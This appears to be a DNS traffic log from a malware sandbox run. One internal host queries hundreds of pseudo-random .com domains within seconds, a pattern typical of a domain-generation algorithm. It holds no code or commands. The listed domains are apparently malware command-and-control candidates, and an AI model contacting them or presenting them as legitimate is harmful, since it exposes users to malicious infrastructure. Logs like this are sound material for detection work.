Nov 11, 2024 18:50:59.797195911 CET	192.168.2.6	1.1.1.1	0x38e3	Standard query (0)	ganyhuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.797676086 CET	192.168.2.6	1.1.1.1	0x55fb	Standard query (0)	qegyxug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.798096895 CET	192.168.2.6	1.1.1.1	0xa7b5	Standard query (0)	vocygyk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.798096895 CET	192.168.2.6	1.1.1.1	0x505c	Standard query (0)	vopyret.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.798283100 CET	192.168.2.6	1.1.1.1	0xba19	Standard query (0)	lyrywax.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.798693895 CET	192.168.2.6	1.1.1.1	0xfb1f	Standard query (0)	qebyhuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.798749924 CET	192.168.2.6	1.1.1.1	0x2a1a	Standard query (0)	pumyjig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.799475908 CET	192.168.2.6	1.1.1.1	0x7f8e	Standard query (0)	qedytul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.800148010 CET	192.168.2.6	1.1.1.1	0xe203	Standard query (0)	puryjil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.801450014 CET	192.168.2.6	1.1.1.1	0xa39c	Standard query (0)	qegytyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.814568043 CET	192.168.2.6	1.1.1.1	0x6947	Standard query (0)	vocybam.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.814568043 CET	192.168.2.6	1.1.1.1	0xf4ad	Standard query (0)	gahypus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.814935923 CET	192.168.2.6	1.1.1.1	0xa820	Standard query (0)	puvybeg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.815021038 CET	192.168.2.6	1.1.1.1	0x2ae9	Standard query (0)	qetykol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.819856882 CET	192.168.2.6	1.1.1.1	0xd6a1	Standard query (0)	vopykak.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.820996046 CET	192.168.2.6	1.1.1.1	0xa070	Standard query (0)	lykysix.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.827348948 CET	192.168.2.6	1.1.1.1	0x68d3	Standard query (0)	ganynyb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.831371069 CET	192.168.2.6	1.1.1.1	0x4d3	Standard query (0)	pujypup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.838969946 CET	192.168.2.6	1.1.1.1	0xc7f1	Standard query (0)	lyryjir.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.864741087 CET	192.168.2.6	1.1.1.1	0xd24f	Standard query (0)	lyvynen.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.864975929 CET	192.168.2.6	1.1.1.1	0x5ff9	Standard query (0)	gatykow.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.869326115 CET	192.168.2.6	1.1.1.1	0xe27e	Standard query (0)	vojypuc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.869326115 CET	192.168.2.6	1.1.1.1	0x44d	Standard query (0)	qebynyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.876512051 CET	192.168.2.6	1.1.1.1	0x91bf	Standard query (0)	galydoz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.876513004 CET	192.168.2.6	1.1.1.1	0xc715	Standard query (0)	puzydal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.876725912 CET	192.168.2.6	1.1.1.1	0xc38a	Standard query (0)	qedyleq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.876727104 CET	192.168.2.6	1.1.1.1	0x8e67	Standard query (0)	vofyzym.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.876889944 CET	192.168.2.6	1.1.1.1	0xc9c	Standard query (0)	lymymud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.876889944 CET	192.168.2.6	1.1.1.1	0x4404	Standard query (0)	vonymuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.877022028 CET	192.168.2.6	1.1.1.1	0x801e	Standard query (0)	pufyxug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.877088070 CET	192.168.2.6	1.1.1.1	0xf68b	Standard query (0)	qeqyqiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.877088070 CET	192.168.2.6	1.1.1.1	0xb4f9	Standard query (0)	pupylaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.877976894 CET	192.168.2.6	1.1.1.1	0x812a	Standard query (0)	pumymuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.877978086 CET	192.168.2.6	1.1.1.1	0xbdd3	Standard query (0)	gadyzyh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.878339052 CET	192.168.2.6	1.1.1.1	0x5972	Standard query (0)	qekysip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.880273104 CET	192.168.2.6	1.1.1.1	0xe916	Standard query (0)	lyxyfar.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.881311893 CET	192.168.2.6	1.1.1.1	0xf3cc	Standard query (0)	gacyfew.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.916754961 CET	192.168.2.6	1.1.1.1	0xf4c8	Standard query (0)	gaqyqis.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.917346001 CET	192.168.2.6	1.1.1.1	0x9021	Standard query (0)	vowyqoc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.917346001 CET	192.168.2.6	1.1.1.1	0x49ba	Standard query (0)	lysylej.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.917803049 CET	192.168.2.6	1.1.1.1	0x9636	Standard query (0)	volydot.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.917803049 CET	192.168.2.6	1.1.1.1	0xe4ee	Standard query (0)	lygyxun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.961081028 CET	192.168.2.6	1.1.1.1	0x1d38	Standard query (0)	qexyfel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.071304083 CET	192.168.2.6	1.1.1.1	0xb3ba	Standard query (0)	lyvyvix.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.084450006 CET	192.168.2.6	1.1.1.1	0x7731	Standard query (0)	qeqynel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.084577084 CET	192.168.2.6	1.1.1.1	0x4a24	Standard query (0)	vofykoc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.085345984 CET	192.168.2.6	1.1.1.1	0xd80b	Standard query (0)	puzypug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.100730896 CET	192.168.2.6	1.1.1.1	0x2c89	Standard query (0)	gadykos.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.114089966 CET	192.168.2.6	1.1.1.1	0xb186	Standard query (0)	volypum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.115691900 CET	192.168.2.6	1.1.1.1	0x6230	Standard query (0)	pumybal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.115968943 CET	192.168.2.6	1.1.1.1	0x536e	Standard query (0)	lymyner.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.119360924 CET	192.168.2.6	1.1.1.1	0x11d8	Standard query (0)	qedykiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.120893955 CET	192.168.2.6	1.1.1.1	0x3dee	Standard query (0)	galypyh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.123075962 CET	192.168.2.6	1.1.1.1	0xdbe7	Standard query (0)	lysyjid.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.125169992 CET	192.168.2.6	1.1.1.1	0x6caa	Standard query (0)	lyxysun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.126507044 CET	192.168.2.6	1.1.1.1	0x2f01	Standard query (0)	vonybat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.127955914 CET	192.168.2.6	1.1.1.1	0xbc83	Standard query (0)	qekytyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.128983974 CET	192.168.2.6	1.1.1.1	0x7a64	Standard query (0)	pupyjuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.130000114 CET	192.168.2.6	1.1.1.1	0x8ac9	Standard query (0)	ganyvoz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.137979031 CET	192.168.2.6	1.1.1.1	0xd50e	Standard query (0)	vopyjuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.147861958 CET	192.168.2.6	1.1.1.1	0x18c4	Standard query (0)	vojyrak.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.162856102 CET	192.168.2.6	1.1.1.1	0x9914	Standard query (0)	galycuw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.162988901 CET	192.168.2.6	1.1.1.1	0x121b	Standard query (0)	vonygec.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.164395094 CET	192.168.2.6	1.1.1.1	0xa6b1	Standard query (0)	lyvyfad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.167392969 CET	192.168.2.6	1.1.1.1	0xe28	Standard query (0)	pufytev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.168451071 CET	192.168.2.6	1.1.1.1	0x7fc8	Standard query (0)	lygylax.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.178723097 CET	192.168.2.6	1.1.1.1	0x4e59	Standard query (0)	lykyxur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.178896904 CET	192.168.2.6	1.1.1.1	0x980f	Standard query (0)	qebyfav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.188241005 CET	192.168.2.6	1.1.1.1	0xa740	Standard query (0)	qexysig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.188728094 CET	192.168.2.6	1.1.1.1	0x9b98	Standard query (0)	qekyxul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.189227104 CET	192.168.2.6	1.1.1.1	0xa01e	Standard query (0)	qebyvop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.190125942 CET	192.168.2.6	1.1.1.1	0xeb8e	Standard query (0)	ganyfes.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.190788984 CET	192.168.2.6	1.1.1.1	0x3a38	Standard query (0)	volycik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.190943956 CET	192.168.2.6	1.1.1.1	0x1463	Standard query (0)	qetyquq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.191096067 CET	192.168.2.6	1.1.1.1	0x5fed	Standard query (0)	gacydib.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.199098110 CET	192.168.2.6	1.1.1.1	0x55b9	Standard query (0)	qedyrag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.202320099 CET	192.168.2.6	1.1.1.1	0x9fd	Standard query (0)	pumygyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.202553034 CET	192.168.2.6	1.1.1.1	0xdf4b	Standard query (0)	qeqyhup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.202706099 CET	192.168.2.6	1.1.1.1	0x193f	Standard query (0)	pufylap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.202868938 CET	192.168.2.6	1.1.1.1	0xdbea	Standard query (0)	gadyrab.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.203031063 CET	192.168.2.6	1.1.1.1	0x9d4f	Standard query (0)	qexyvoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.203233957 CET	192.168.2.6	1.1.1.1	0xa959	Standard query (0)	puzyciq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.207597017 CET	192.168.2.6	1.1.1.1	0xfcbc	Standard query (0)	lymygyx.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.209248066 CET	192.168.2.6	1.1.1.1	0xd69b	Standard query (0)	vowyjut.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.209600925 CET	192.168.2.6	1.1.1.1	0x96fd	Standard query (0)	qegylep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.209758043 CET	192.168.2.6	1.1.1.1	0xf174	Standard query (0)	pupywog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.210094929 CET	192.168.2.6	1.1.1.1	0xc8d0	Standard query (0)	purymuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.211731911 CET	192.168.2.6	1.1.1.1	0xca4d	Standard query (0)	lysywon.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.211895943 CET	192.168.2.6	1.1.1.1	0xfe4f	Standard query (0)	gaqynyw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.216758013 CET	192.168.2.6	1.1.1.1	0xb8ff	Standard query (0)	vowymyk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.218492031 CET	192.168.2.6	1.1.1.1	0x4f1e	Standard query (0)	lyxyvoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.219923973 CET	192.168.2.6	1.1.1.1	0x1686	Standard query (0)	gahyzez.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.221342087 CET	192.168.2.6	1.1.1.1	0x9ed0	Standard query (0)	gaqyhuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.222589970 CET	192.168.2.6	1.1.1.1	0x3816	Standard query (0)	lyrymuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.222776890 CET	192.168.2.6	1.1.1.1	0x4f24	Standard query (0)	puvycip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.222986937 CET	192.168.2.6	1.1.1.1	0xdd68	Standard query (0)	vofyref.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.223011017 CET	192.168.2.6	1.1.1.1	0xfc5e	Standard query (0)	vocydof.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.223531961 CET	192.168.2.6	1.1.1.1	0xe9a0	Standard query (0)	vopyqim.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.223581076 CET	192.168.2.6	1.1.1.1	0x3b30	Standard query (0)	pujyxyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.229156017 CET	192.168.2.6	1.1.1.1	0xe47c	Standard query (0)	puvydov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.230017900 CET	192.168.2.6	1.1.1.1	0x27cd	Standard query (0)	pujyteq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.230739117 CET	192.168.2.6	1.1.1.1	0x8810	Standard query (0)	gatyqih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.230739117 CET	192.168.2.6	1.1.1.1	0x99f7	Standard query (0)	lygytyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.231937885 CET	192.168.2.6	1.1.1.1	0x6fd	Standard query (0)	vojyzyt.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.232171059 CET	192.168.2.6	1.1.1.1	0xdd5f	Standard query (0)	lykytej.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.002726078 CET	192.168.2.6	1.1.1.1	0x9965	Standard query (0)	puzylyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.002727032 CET	192.168.2.6	1.1.1.1	0x72e3	Standard query (0)	qetyfuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.009799957 CET	192.168.2.6	1.1.1.1	0xb9c9	Standard query (0)	gahyqah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.011269093 CET	192.168.2.6	1.1.1.1	0xc39f	Standard query (0)	pufymoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.030677080 CET	192.168.2.6	1.1.1.1	0x30d9	Standard query (0)	lygymoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.031539917 CET	192.168.2.6	1.1.1.1	0x5c99	Standard query (0)	qexylup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.053702116 CET	192.168.2.6	1.1.1.1	0xf24d	Standard query (0)	vowydef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.057145119 CET	192.168.2.6	1.1.1.1	0x7a4f	Standard query (0)	gacyzuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.095326900 CET	192.168.2.6	1.1.1.1	0xdc74	Standard query (0)	purydyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.101248980 CET	192.168.2.6	1.1.1.1	0x883e	Standard query (0)	qegyqaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.112459898 CET	192.168.2.6	1.1.1.1	0xc4f	Standard query (0)	lyryfyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.114927053 CET	192.168.2.6	1.1.1.1	0x4a7a	Standard query (0)	vojyqem.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.131351948 CET	192.168.2.6	1.1.1.1	0x1899	Standard query (0)	puvyxil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.136408091 CET	192.168.2.6	1.1.1.1	0x7b5	Standard query (0)	lyvyxor.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.137840986 CET	192.168.2.6	1.1.1.1	0xea18	Standard query (0)	lysyfyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.140834093 CET	192.168.2.6	1.1.1.1	0x60e6	Standard query (0)	vonyzuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.143655062 CET	192.168.2.6	1.1.1.1	0x3bff	Standard query (0)	qekyqop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.146635056 CET	192.168.2.6	1.1.1.1	0x3928	Standard query (0)	qekykev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.147274017 CET	192.168.2.6	1.1.1.1	0x987c	Standard query (0)	pujyjav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.149153948 CET	192.168.2.6	1.1.1.1	0x158e	Standard query (0)	vowycac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.184899092 CET	192.168.2.6	1.1.1.1	0x4628	Standard query (0)	gaqycos.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.185172081 CET	192.168.2.6	1.1.1.1	0x1da7	Standard query (0)	vofymik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.191684008 CET	192.168.2.6	1.1.1.1	0x99a9	Standard query (0)	lyxywer.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.198122025 CET	192.168.2.6	1.1.1.1	0x7eb2	Standard query (0)	puzywel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.549036026 CET	192.168.2.6	1.1.1.1	0xf9ff	Standard query (0)	lymyxid.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.587047100 CET	192.168.2.6	1.1.1.1	0xe7a8	Standard query (0)	qexyryl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.587579012 CET	192.168.2.6	1.1.1.1	0x9bc7	Standard query (0)	purycap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.587965012 CET	192.168.2.6	1.1.1.1	0x1c83	Standard query (0)	lygygin.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.587965012 CET	192.168.2.6	1.1.1.1	0x9c20	Standard query (0)	pufygug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.589572906 CET	192.168.2.6	1.1.1.1	0xe29a	Standard query (0)	lykyjad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.591242075 CET	192.168.2.6	1.1.1.1	0xfb3d	Standard query (0)	vopybyt.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.591902018 CET	192.168.2.6	1.1.1.1	0x5fdb	Standard query (0)	gatyvyz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.591973066 CET	192.168.2.6	1.1.1.1	0xb5b3	Standard query (0)	gaqydeb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.592580080 CET	192.168.2.6	1.1.1.1	0x7a85	Standard query (0)	lyxylux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.592580080 CET	192.168.2.6	1.1.1.1	0xc30a	Standard query (0)	vonypom.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.592936993 CET	192.168.2.6	1.1.1.1	0x6a3f	Standard query (0)	vocyruk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.593169928 CET	192.168.2.6	1.1.1.1	0xc0c9	Standard query (0)	gadyniw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.593316078 CET	192.168.2.6	1.1.1.1	0xbbe	Standard query (0)	volykyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.593450069 CET	192.168.2.6	1.1.1.1	0xe2ee	Standard query (0)	lymysan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.599276066 CET	192.168.2.6	1.1.1.1	0x2b3d	Standard query (0)	gadyfuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.599277020 CET	192.168.2.6	1.1.1.1	0xdd39	Standard query (0)	galykes.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.599634886 CET	192.168.2.6	1.1.1.1	0xc670	Standard query (0)	qedynul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.624800920 CET	192.168.2.6	1.1.1.1	0xd1f1	Standard query (0)	lysynur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.631608009 CET	192.168.2.6	1.1.1.1	0xd114	Standard query (0)	galyqaz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.631608009 CET	192.168.2.6	1.1.1.1	0x4409	Standard query (0)	qeqyxov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.631844044 CET	192.168.2.6	1.1.1.1	0x3a2b	Standard query (0)	vojyjof.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.632323980 CET	192.168.2.6	1.1.1.1	0xe9d6	Standard query (0)	gacyryw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.632567883 CET	192.168.2.6	1.1.1.1	0x5080	Standard query (0)	lyryvex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.632946014 CET	192.168.2.6	1.1.1.1	0xb923	Standard query (0)	qebytiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.633570910 CET	192.168.2.6	1.1.1.1	0x47e1	Standard query (0)	vocyzit.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.633570910 CET	192.168.2.6	1.1.1.1	0x6c45	Standard query (0)	gahyhob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.633697033 CET	192.168.2.6	1.1.1.1	0x4667	Standard query (0)	puvytuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.634218931 CET	192.168.2.6	1.1.1.1	0xdf96	Standard query (0)	lyvytuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.634243965 CET	192.168.2.6	1.1.1.1	0x26bb	Standard query (0)	qetyvep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.635026932 CET	192.168.2.6	1.1.1.1	0x75fc	Standard query (0)	vofygum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.635305882 CET	192.168.2.6	1.1.1.1	0x8840	Standard query (0)	gatyfus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.637042046 CET	192.168.2.6	1.1.1.1	0xe70c	Standard query (0)	qedyfyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.637779951 CET	192.168.2.6	1.1.1.1	0xa718	Standard query (0)	pumyxiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.638125896 CET	192.168.2.6	1.1.1.1	0xd763	Standard query (0)	qeqysag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.638197899 CET	192.168.2.6	1.1.1.1	0x6d65	Standard query (0)	volyqat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.639031887 CET	192.168.2.6	1.1.1.1	0xd1f0	Standard query (0)	pupybul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.639031887 CET	192.168.2.6	1.1.1.1	0xbff9	Standard query (0)	ganypih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.639288902 CET	192.168.2.6	1.1.1.1	0x1ed2	Standard query (0)	qegyhig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.641031027 CET	192.168.2.6	1.1.1.1	0x682c	Standard query (0)	pumypog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.805098057 CET	192.168.2.6	1.1.1.1	0x6073	Standard query (0)	www.gahyqah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.079622984 CET	192.168.2.6	1.1.1.1	0xe6f2	Standard query (0)	lymyvin.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.095415115 CET	192.168.2.6	1.1.1.1	0xff7	Standard query (0)	gadyhyw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.095415115 CET	192.168.2.6	1.1.1.1	0x33f4	Standard query (0)	qexytep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.096088886 CET	192.168.2.6	1.1.1.1	0xc32b	Standard query (0)	pufyjuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.103612900 CET	192.168.2.6	1.1.1.1	0x1dfe	Standard query (0)	puzytap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.114121914 CET	192.168.2.6	1.1.1.1	0x2089	Standard query (0)	qeqyvig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.178848028 CET	192.168.2.6	1.1.1.1	0x57c3	Standard query (0)	vofyjuk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.266386032 CET	192.168.2.6	1.1.1.1	0x4592	Standard query (0)	ganycuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.266386032 CET	192.168.2.6	1.1.1.1	0x4fa2	Standard query (0)	pujylog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.291718006 CET	192.168.2.6	1.1.1.1	0xad4d	Standard query (0)	gaqyvob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.447458982 CET	192.168.2.6	1.1.1.1	0x9e91	Standard query (0)	lyrygyn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.476953030 CET	192.168.2.6	1.1.1.1	0x2e89	Standard query (0)	pupymyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.489907026 CET	192.168.2.6	1.1.1.1	0x5c54	Standard query (0)	qekylag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.490083933 CET	192.168.2.6	1.1.1.1	0xdaa6	Standard query (0)	qeqyfaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.490235090 CET	192.168.2.6	1.1.1.1	0x3e3c	Standard query (0)	lyxyxyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.490401030 CET	192.168.2.6	1.1.1.1	0xe885	Standard query (0)	gaqyfah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.490586042 CET	192.168.2.6	1.1.1.1	0x5870	Standard query (0)	vofyqit.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.490717888 CET	192.168.2.6	1.1.1.1	0x5226	Standard query (0)	vopygat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.492239952 CET	192.168.2.6	1.1.1.1	0x5b32	Standard query (0)	lysymux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.492536068 CET	192.168.2.6	1.1.1.1	0xe1a5	Standard query (0)	pumydoq.com	A (IP address)	IN (0x0001)	false
